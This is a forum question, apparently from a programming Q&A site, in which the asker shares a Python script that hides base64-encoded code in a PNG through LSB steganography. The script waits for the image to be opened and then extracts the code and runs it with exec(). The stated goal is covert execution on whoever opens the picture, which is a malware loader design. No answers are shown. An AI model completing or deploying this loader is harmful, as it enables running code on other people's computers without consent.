python steganography- can't detect if the file was opened

37 Views Asked by At

im writing a steganography project in python, a hidden code inside an image that supposed to run on the computer the picture was opened in. the function that hides the code in the image, and the function that extracts the code are working. i have a problem with detecting if the file was opened by a windows user, so i can extract and run the code on his computer. (im using this code for educational purposes).

as you can see in my code, i tried different methods for solving this problem, none of them worked.

script.py:

from PIL import Image
from stegano import lsb
import time
import base64
import subprocess
import wmi


def execute_code():
    decoded_code = lsb.reveal(Image.open('new_dog2.png'))

    if not decoded_code:
        print("No code found in the image.")
        return
    
    decoded_code_str = base64.b64decode(decoded_code).decode('utf-8')
    print("Extracted code:", decoded_code_str)
    
    # Execute the extracted code
    exec(decoded_code_str)

def hide_code_in_image(image_path, code, output_path):
    encoded_code = base64.b64encode(code.encode()).decode()
    original_img = Image.open(image_path)
    secret = lsb.hide(original_img, encoded_code)
    secret.save(output_path)

def is_file_open(file_path):
    try:
        result = subprocess.run(['tasklist', '/FI', 'imagename eq explorer.exe'], capture_output=True, text=True)
        output = result.stdout.lower()
        if ".png" in output:  # Assuming PNG files are handled by explorer.exe
            file_handles = subprocess.run(['handle', '-p', 'explorer.exe', '-nobanner'], capture_output=True, text=True)
            file_handles_output = file_handles.stdout.lower()
            return file_path.lower() in file_handles_output  # Check if the picture file is among the handles opened by explorer.exe
        return False  # No PNG files handled by explorer.exe
    except FileNotFoundError:
        print("Tasklist or Handle command not found.")
        return False
    
def was_file_accessed(file_path):
    try:
        cmd = f"Get-WinEvent -LogName Security -FilterXPath \"*[System[EventID=4656, 4663] and EventData[Data[@Name='ObjectName']='{file_path}']]]\""
        output = subprocess.run(["powershell", "-Command", cmd], capture_output=True, text=True)
        return "Accesses: READ_CONTROL" in output.stdout or "AccessMask: 0x2" in output.stdout
    except Exception as e:
        print(f"Error: {e}")
        return False

def was_file_opened(file_path):
    try:
        c = wmi.WMI()
        query = f"SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'CIM_DataFile' AND TargetInstance.Name='{file_path}'"
        watcher = c.watch_for(raw_wql=query, Type="Creation")
        accessed_event = watcher()
        if accessed_event:
            return True
        return False
    except Exception as e:
        print(f"Error in file opened monitoring: {e}")
        return False 


if __name__ == "__main__":
    try:
        with open('embedded_code.py', 'r', encoding='utf-8') as file:
            hidden_code_to_run = file.read()
    except UnicodeDecodeError:
        with open('embedded_code.py', 'r', encoding='cp1255') as file:
            hidden_code_to_run = file.read()

    hide_code_in_image('dog0.png', hidden_code_to_run, 'new_dog2.png')
    print("Code was hidden in the picture")
    
    while not was_file_accessed("new_dog2.png"):  
        print("waiting for the picture to be opened...")
        time.sleep(1)
    print("picture was opened!")
    execute_code()
    print("code was executed!")    
    
0

There are 0 best solutions below